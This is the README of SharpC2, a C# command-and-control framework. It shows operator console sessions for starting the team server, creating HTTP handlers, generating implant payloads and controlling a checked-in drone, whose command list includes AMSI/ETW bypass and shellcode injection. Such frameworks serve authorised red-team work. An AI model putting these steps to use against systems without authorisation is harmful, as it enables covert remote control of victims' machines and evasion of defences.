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Build Status Documentation Status

SharpC2

SharpC2 is a Command and Control Framework written in C#.

The solution consists of an ASP.NET Core Team Server, a .NET Framework Implant, and a .NET Client.

Quick Start

The quickest way to have a play with the framework is clone the repo, then build and run the Debug versions.

PS C:\Tools\SharpC2> dotnet build

  Client -> C:\Tools\SharpC2\Client\bin\Debug\net6.0\SharpC2.dll
  TeamServer -> C:\Tools\SharpC2\TeamServer\bin\Debug\net6.0\TeamServer.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:01.98

Start the Team Server

PS C:\Tools\SharpC2> cd .\TeamServer\bin\Debug\net6.0\
PS C:\Tools\SharpC2\TeamServer\bin\Debug\net6.0> dotnet TeamServer.dll -p Passw0rd!
info: Microsoft.Hosting.Lifetime[14]
      Now listening on: https://0.0.0.0:8443
info: Microsoft.Hosting.Lifetime[0]
      Application started. Press Ctrl+C to shut down.
info: Microsoft.Hosting.Lifetime[0]
      Hosting environment: Production
info: Microsoft.Hosting.Lifetime[0]
      Content root path: C:\Tools\SharpC2\TeamServer\bin\Debug\net6.0

Note: If the server starts in Development mode, it will only listen for connections on the localhost. To ensure it runs in Production mode (and therefore listen for connections on all interfaces) set the ASPNETCORE_ENVIRONMENT variable to Production.

Start the Client

PS C:\Tools\SharpC2\Client\bin\Debug\net6.0> dotnet SharpC2.dll -s localhost -p 8443 -n rasta -P Passw0rd!

  ___ _                   ___ ___
 / __| |_  __ _ _ _ _ __ / __|_  )
 \__ \ ' \/ _` | '_| '_ \ (__ / /
 |___/_||_\__,_|_| | .__/\___/___|
                   |_|
    @_RastaMouse
    @_xpn_


Server Certificate
------------------

[Subject]
  CN=localhost

[Issuer]
  CN=localhost

[Serial Number]
  67B4A5487F67745B

[Not Before]
  25/02/2021 21:01:43

[Not After]
  25/02/2022 21:01:43

[Thumbprint]
  B968C8D9C2B40F4AD7A46C92B0B700DEE46492FE

accept? [y/N] >

Create & Start HTTP Handler

Use the create command to create a new handler. The usage is: create <name> <type>. Valid types are HTTP, TCP and SMB.

[drones] > handlers
[handlers] > list

No Handlers

[handlers] > create demo-http HTTP
[+] Handler "demo-http" created.

When a handler has been created, you can set its parameters with the set command. The usage is: set <handler> <parameter> <value>.

[handlers] > set demo-http BindPort 8080
[+] BindPort set to 8080

[handlers] > set demo-http ConnectPort 8080
[+] ConnectPort set to 8080

Finally, run the handler with the start command. The usage is: start <handler>.

[handlers] > start demo-http
[+] Handler "demo-http" started.

[handlers] > list

Name       Running
----       -------
demo-http  True

Generate a Payload for the Handler

Use the payload command to generate a payload for a handler. The usage is: payload <handler> <format> <path>. Valid formats are: Exe, Dll, Raw & Svc.

[drones] > payload demo-http Exe c:\payloads\http-drone.exe
[+] 164352 bytes saved.

Execute the payload, and the Drone should check-in.

[+] Drone fea75efa53 checked in from Daniel@Ghost-Canyon.

[drones] > list

Guid        Parent  Address        Hostname      Username  Process     Pid    Integrity  Arch  LastSeen
----        ------  -------        --------      --------  -------     ---    ---------  ----  --------
fea75efa53  -       192.168.1.229  Ghost-Canyon  Daniel    http-drone  17300  Medium     x64   18/12/2021 16:11:20

Interacting with a Drone

Interact with a Drone via the interact command. Usage is: interact <guid>.

[drones] > interact fea75efa53
[fea75efa53] > help

Name              Description
----              -----------
abort             Abort a running task
back              Go back to the previous screen
bypass            Set a directive to bypass AMSI/ETW on tasks
cat               Read a file as text
cd                Change working directory
execute-assembly  Execute a .NET assembly
exit              Exit this Drone
getuid            Get current identity
help              Print a list of commands and their description
link              Link to an SMB Drone
load-module       Load an external Drone module
ls                List filesystem
mkdir             Create a directory
overload          Map and execute a native DLL
ps                List running processes
pwd               Print working directory
rm                Delete a file
rmdir             Delete a directory
run               Run a command
services          List services on the current or target machine
shell             Run a command via cmd.exe
shinject          Inject arbitrary shellcode into a process
sleep             Set sleep interval and jitter
upload            Upload a file to the current working directory of the Drone

[fea75efa53] > getuid
[+] Tasked Drone to run getuid: 3989657f56.
[+] Drone checked in. Sent 176 bytes.
[+] Drone task 3989657f56 is running.

GHOST-CANYON\Daniel

[+] Drone task 3989657f56 has completed.

Documentation

See more documentation on Read the Docs.

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Command and Control Framework written in C#.

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